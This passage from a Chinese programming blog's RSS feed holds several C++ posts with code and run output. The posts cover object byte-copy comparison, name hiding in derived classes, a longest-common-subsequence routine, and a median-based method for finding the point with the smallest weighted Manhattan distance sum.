endl;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p-&gt;Print();</div><div>&nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; drv.i = 1;</div><div>&nbsp; &nbsp; drv.c = 'a';</div><div>&nbsp; &nbsp; drv.u1 = 10;</div><div>&nbsp; &nbsp; drv.u2 = 20;</div><div>&nbsp; &nbsp; drv.u3 = 30;</div><div>&nbsp; &nbsp; drv.u4 = 2;</div><div>&nbsp; &nbsp; drv.b = true;</div><div>&nbsp; &nbsp; drv.ui = 3;</div><div>&nbsp; &nbsp; drv.uf = 3.5;</div><div>&nbsp; &nbsp; drv.d = 8.8;</div><div>&nbsp; &nbsp; {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; string s((const char*)&amp;drv, sizeof(Derive));</div><div>&nbsp; &nbsp; &nbsp; &nbsp; const Derive* p = reinterpret_cast&lt;const Derive*&gt;(s.c_str());</div><div>&nbsp; &nbsp; &nbsp; &nbsp; if (*p == drv) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cout &lt;&lt; "*EQUAL*" &lt;&lt; endl;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p-&gt;Print();</div><div>&nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; for (int i = 0; i &lt; 10 * 1024; ++i) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; Derive* pdrv = new Derive();</div><div>&nbsp; &nbsp; &nbsp; &nbsp; {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; string s((const char*)pdrv, sizeof(Derive));</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; const Derive* p = reinterpret_cast&lt;const Derive*&gt;(s.c_str());</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (*p != *pdrv) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cout &lt;&lt; "*NOT EQUAL*" &lt;&lt; endl;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pdrv-&gt;Print();</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p-&gt;Print();</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; &nbsp; &nbsp; delete pdrv;</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; return 0;</div><div>}<br /><br />================== &nbsp; &nbsp; run result &nbsp; &nbsp; ===================<br /><div>sizeof(Data):48</div><div>sizeof(Base):40</div><div>sizeof(Derive):112</div><div></div><div>*EQUAL*</div><div>Base::p:0x7fff24993c98</div><div>Base::c:�(160)</div><div>Base::i1:-1</div><div>Base::i2:-2</div><div>Base::d:140733807410344.000000</div><div>Base::u3:1</div><div>Derive::i:614022324</div><div>Derive::c:�(184)</div><div>Derive::u1:295</div><div>Derive::u2:261</div><div>Data::b:1</div><div>Data::d:140733807410384.000000</div><div>Data::p:0x7fff24993cd8</div><div>Data::c:�(224)</div><div>Data::l:140733807410408</div><div>Derive::u3:435</div><div>Derive::u4:2</div><div>Derive::b:1</div><div>Derive::ui:1459617353</div><div>Derive::uf:140733805756416.000000</div><div>Derive::d:140733807410424.000000</div><div></div><div>*EQUAL*</div><div>Base::p:0x7fff24993c98</div><div>Base::c:�(160)</div><div>Base::i1:-1</div><div>Base::i2:-2</div><div>Base::d:140733807410344.000000</div><div>Base::u3:1</div><div>Derive::i:1</div><div>Derive::c:a(97)</div><div>Derive::u1:10</div><div>Derive::u2:20</div><div>Data::b:1</div><div>Data::d:140733807410384.000000</div><div>Data::p:0x7fff24993cd8</div><div>Data::c:�(224)</div><div>Data::l:140733807410408</div><div>Derive::u3:30</div><div>Derive::u4:2</div><div>Derive::b:1</div><div>Derive::ui:1080033280</div><div>Derive::uf:3.500000</div><div>Derive::d:8.800000</div><div></div></div><img src ="http://www.blogjava.net/bacoo/aggbug/423195.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2015-03-04 15:34 <a href="http://www.blogjava.net/bacoo/archive/2015/03/04/423195.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>name hiding in C++</title><link>http://www.blogjava.net/bacoo/archive/2015/03/03/423156.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Tue, 03 Mar 2015 06:34:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2015/03/03/423156.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/423156.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2015/03/03/423156.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/423156.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/423156.html</trackback:ping><description><![CDATA[<div><div>#include &lt;iostream&gt;</div><div>#include &lt;string&gt;</div><div>#include &lt;fstream&gt;</div><div>#include &lt;sstream&gt;</div><div>#include &lt;stdint.h&gt;</div><div>#include &lt;pthread.h&gt;</div><div>#include &lt;vector&gt;</div><div>#include &lt;map&gt;</div><div>#include &lt;set&gt;</div><div></div><div>using namespace std;</div><div></div><div>void fun() {</div><div>&nbsp; &nbsp; cout &lt;&lt; __PRETTY_FUNCTION__ &lt;&lt; endl;</div><div>}</div><div></div><div>namespace {</div><div>&nbsp; &nbsp; void fun(int i) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; cout &lt;&lt; __PRETTY_FUNCTION__ &lt;&lt; endl;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; ::fun(); //use fun() will compile error</div><div>&nbsp; &nbsp; }</div><div>}</div><div></div><div>class A {</div><div>public:</div><div>&nbsp; &nbsp; void fun() {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; cout &lt;&lt; __PRETTY_FUNCTION__ &lt;&lt; endl;</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; void fun(int x) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; cout &lt;&lt; __PRETTY_FUNCTION__ &lt;&lt; endl;</div><div>&nbsp; &nbsp; }</div><div>};</div><div></div><div>class B: public A {</div><div>public:</div><div>&nbsp; &nbsp; //using A::fun; //solution 3</div><div>&nbsp; &nbsp; void fun(int x) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; cout &lt;&lt; __PRETTY_FUNCTION__ &lt;&lt; endl;</div><div>&nbsp; &nbsp; }</div><div>};</div><div></div><div>int main(int argc, char* argv[]) {</div><div>&nbsp; &nbsp; B b;</div><div>&nbsp; &nbsp; //b.fun();//compile error, name hiding occurs</div><div>&nbsp; &nbsp; b.A::fun(); //solution 1</div><div>&nbsp; &nbsp; A* pa = &amp;b;</div><div>&nbsp; &nbsp; pa-&gt;fun(); &nbsp;//solution 2</div><div>&nbsp; &nbsp; fun(3);</div><div>&nbsp; &nbsp; return 0;</div><div>}</div><div><br />=================== &nbsp; run result &nbsp; ===================<br /><div>$ make name_hiding &amp;&amp; ./name_hiding</div><div>void A::fun()</div><div>void A::fun()</div><div>void&lt;unnamed&gt;::fun(int)</div><div>void fun()</div><div></div></div></div><div></div><img src ="http://www.blogjava.net/bacoo/aggbug/423156.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2015-03-03 14:34 <a href="http://www.blogjava.net/bacoo/archive/2015/03/03/423156.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>LCS</title><link>http://www.blogjava.net/bacoo/archive/2015/02/20/422979.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Fri, 20 Feb 2015 07:37:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2015/02/20/422979.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/422979.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2015/02/20/422979.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/422979.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/422979.html</trackback:ping><description><![CDATA[<div>http://blog.csdn.net/v_JULY_v/article/details/6110269</div><br />我的算法，本质上和上篇博客中提到的算法是一样的：<br /><div>#include &lt;iostream&gt;<br />#include &lt;string&gt;<br />#include &lt;fstream&gt;<br />#include &lt;sstream&gt;<br />#include &lt;stdint.h&gt;<br />#include &lt;string.h&gt;<br />#include &lt;pthread.h&gt;<br />#include &lt;vector&gt;<br />#include &lt;map&gt;<br />#include &lt;set&gt;<br /><br />using namespace std;<br /><br />int LCS(const char* X, const char* Y, char* R) {<br />&nbsp;&nbsp;&nbsp; if (NULL == X || NULL == Y || NULL == R) {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 0;<br />&nbsp;&nbsp;&nbsp; }<br /><br />&nbsp;&nbsp;&nbsp; int xlen = strlen(X);<br />&nbsp;&nbsp;&nbsp; int ylen = strlen(Y);<br /><br />&nbsp;&nbsp;&nbsp; map&lt;int, map&lt;int, int&gt; &gt; D;<br />&nbsp;&nbsp;&nbsp; for (int i = 0; i &lt; xlen; ++i) {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int max = 0;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for (int j = 0; j &lt; ylen; ++j) {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; max = std::max(X[i] == Y[j] ? 1 : 0, max);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (i &gt; 0) {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; max = std::max(D[i - 1][j], max);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (j &gt; 0) {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; max = std::max(D[i - 1][j - 1] + (X[i] == Y[j] ? 1 : 0), max);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; D[i][j] = max;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("(%d,%d) = %d\n", i, j, max);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp; }<br /><br />&nbsp;&nbsp;&nbsp; return D[xlen - 1][ylen - 1];<br />}<br /><br />int main(int argc, char* argv[]) {<br />&nbsp;&nbsp;&nbsp; const char* X = argc &gt; 1 ? argv[1] : "abacbda";<br />&nbsp;&nbsp;&nbsp; const char* Y = argc &gt; 2 ? argv[2] : "cbada";<br />&nbsp;&nbsp;&nbsp; char R[1024];<br />&nbsp;&nbsp;&nbsp; printf("X:%s\n", X);<br />&nbsp;&nbsp;&nbsp; printf("Y:%s\n", Y);<br />&nbsp;&nbsp;&nbsp; int ret = LCS(X, Y, R);<br />&nbsp;&nbsp;&nbsp; printf("ret:%d\n", ret);<br />&nbsp;&nbsp;&nbsp; return 0;<br />}<br /></div><img src ="http://www.blogjava.net/bacoo/aggbug/422979.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2015-02-20 15:37 <a href="http://www.blogjava.net/bacoo/archive/2015/02/20/422979.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>算法：距离之和最小</title><link>http://www.blogjava.net/bacoo/archive/2015/02/07/422814.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Sat, 07 Feb 2015 12:34:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2015/02/07/422814.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/422814.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2015/02/07/422814.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/422814.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/422814.html</trackback:ping><description><![CDATA[题目：NxM矩阵中散落K点，求一个点，该点到各个的距离之和最短，两点之间距离的定义：折线距离（即只能横着走或竖着走）。<br />解法：求K个点的重心，从矩阵左上角，先横后竖遍历，找到第K/2个点所在的行；先竖后横找到第K/2个点所在的列；用这个行和这个列定位的点即为所求。<br />原理：假定P点为所求，距离和为S，P点到任何一点的距离都由水平距离＋垂直距离构成；若水平移动，竖直方向的距离之和保持不变；同理垂直方向。因此，该问题可以归约为一个一维问题：数轴上散落N个点，求一个点到各个点的距离之和最小，下面进行简单论证：<br />a b c d e f g七个点，d点即位所求；如果是f点，那么该问题可以归约为b c d e f五个点的问题（在比较d和f谁更优时，a和g同时存在或不存在对问题的影响是一致的），此时，显然f不如d。<br />推广：K个点，每个点都有一个系数q，两点之间距离定义为：折线距离 x 系数k；解法依旧：先计算K个点的总系数Q，遍历方法依旧，只不过这次是找到一个点，截至这个点累加起来的系数之和刚好达到Q/2。<br />领悟：实则就是求重心。<br />代码：和穷举法做了对比，结果一致。<br /><div>#include &lt;iostream&gt;</div><div>#include &lt;stdlib.h&gt;</div><div>#include &lt;string&gt;</div><div>#include &lt;vector&gt;</div><div>#include &lt;map&gt;</div><div>#include &lt;math.h&gt;</div><div>#include &lt;set&gt;</div><div></div><div>using namespace std;</div><div></div><div>class MatchPointFinder {</div><div>public:</div><div>&nbsp; &nbsp; double GetDistanceBetweenTwoPoints(int x1, int y1, int x2, int y2, double alpha) const {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; return (abs(x1 - x2) + abs(y1 - y2)) * alpha;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; //return (x1 - x2) * (x1 - x2) + (y1 - y2) * (y1 - y2);</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; //two methods will *not* be equivalent under the following way of calculating distance, for the case in "main"</div><div>&nbsp; &nbsp; &nbsp; &nbsp; //return sqrt((x1 - x2) * (x1 - x2) + (y1 - y2) * (y1 - y2));</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; double CalcSumDistance(int x, int y) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; double dist = 0.0f;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; for (typeof(m_node_pos.begin()) it = m_node_pos.begin(), it4End = m_node_pos.end(); it4End != it; ++it) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dist += GetDistanceBetweenTwoPoints(it-&gt;first.first, it-&gt;first.second, x, y, it-&gt;second);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; &nbsp; &nbsp; return dist;</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; MatchPointFinder(): m_width(0), m_height(0), m_match_point_x(0), m_match_point_y(0), m_total_weight(0), m_nodes(NULL) {</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; void ValidateEquivalenceOfTwoMethods(int trial_num = 1000) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; for (int i = 0; i &lt; trial_num; ++i) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int width = 5 + rand() % 100;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int height = 5 + rand() % 100;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Reset();</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; RandomInit(width, height);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (!CompareTwoMethod()) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Try();</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; printf("two methods are equivalent under %d x %d array scale\n", height, width);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; void Try() {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; FindMatchPointByEnumerating(m_match_point_x, m_match_point_y);</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; printf("total weight is %f\n", m_total_weight);</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; PrintMap(false);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; PrintMap();</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; int old_mp_x = m_match_point_x;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; int old_mp_y = m_match_point_y;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; FindMatchPointByMedianMethod(m_match_point_x, m_match_point_y);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; PrintMap(false);</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; if (old_mp_x == m_match_point_x &amp;&amp; old_mp_y == m_match_point_y) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; printf("two methods are equivalent under %d x %d array scale\n", m_height, m_width);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; } else {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; printf("two methods are *not* equivalent under %d x %d array scale\n", m_height, m_width);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; template &lt;typename T&gt;</div><div>&nbsp; &nbsp; T abs(const T&amp; t) const {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; return t &gt; 0 ? t : -1 * t;</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; bool CompareTwoMethod() {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; FindMatchPointByEnumerating(m_match_point_x, m_match_point_y);</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; int old_mp_x = m_match_point_x;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; int old_mp_y = m_match_point_y;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; FindMatchPointByMedianMethod(m_match_point_x, m_match_point_y);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; if (old_mp_x == m_match_point_x &amp;&amp; old_mp_y == m_match_point_y) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return true;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; } else if (abs(m_node_dist[std::make_pair(old_mp_x, old_mp_y)] - m_node_dist[std::make_pair(m_match_point_x, m_match_point_y)]) &lt; 0.000001) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return true;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; return false;</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; ~MatchPointFinder() {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; Reset();</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; void RandomInit(int width = -1, int height = -1, bool init_random = true) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; if (-1 != width) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; m_width = width;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; &nbsp; &nbsp; if (-1 != height) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; m_height = height;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; srand(time(NULL));</div><div>&nbsp; &nbsp; &nbsp; &nbsp; m_nodes = new double*[m_height];</div><div>&nbsp; &nbsp; &nbsp; &nbsp; memset(m_nodes, 0, sizeof(double*) * m_height);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; for (int i = 0; i &lt; m_height; ++i) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (!init_random) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; m_nodes[i] = new double[m_width];</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; memset(m_nodes[i], 0, sizeof(int) * m_width);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for (int j = 0; j &lt; m_width; ++j) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (0 == j) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; m_nodes[i] = new double[m_width];</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; memset(m_nodes[i], 0, sizeof(int) * m_width);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; m_nodes[i][j] = ((rand() % 10) &gt;= 5 ? (double)(1 + rand() % 3) / 5 : 0);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (m_nodes[i][j]) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; m_node_pos[std::make_pair(i, j)] = m_nodes[i][j];</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; m_total_weight += m_nodes[i][j];</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; void AddNode(int x, int y) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; m_nodes[x][y] = 1;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; m_node_pos[std::make_pair(x, y)] = 1;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; m_total_weight += 1;</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; void FindMatchPointByMedianMethod(int&amp; mp_x, int&amp; mp_y) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; double collected_weight = 0;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; mp_x = -1;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; for (int i = 0; i &lt; m_height; ++i) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for (int j = 0; j &lt; m_width; ++j) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (m_nodes[i][j] &lt;= 0) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; continue;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; collected_weight += m_nodes[i][j];</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (collected_weight &gt;= m_total_weight / 2) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mp_x = i;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (-1 != mp_x) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; &nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; collected_weight = 0;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; mp_y = -1;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; for (int j = 0; j &lt; m_width; ++j) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for (int i = 0; i &lt; m_height; ++i) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (m_nodes[i][j] &lt;= 0) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; continue;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; collected_weight += m_nodes[i][j];</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (collected_weight &gt;= m_total_weight / 2) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mp_y = j;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (-1 != mp_y) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; void FindMatchPointByEnumerating(int&amp; mp_x, int&amp; mp_y) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; double shortest_sum_dist = std::numeric_limits&lt;double&gt;::max();</div><div>&nbsp; &nbsp; &nbsp; &nbsp; for (int i = 0; i &lt; m_height; ++i) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for (int j = 0; j &lt; m_width; ++j) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; double dist = CalcSumDistance(i, j);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; m_node_dist[std::make_pair(i, j)] = dist;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (dist &lt; shortest_sum_dist) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; shortest_sum_dist = dist;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mp_x = 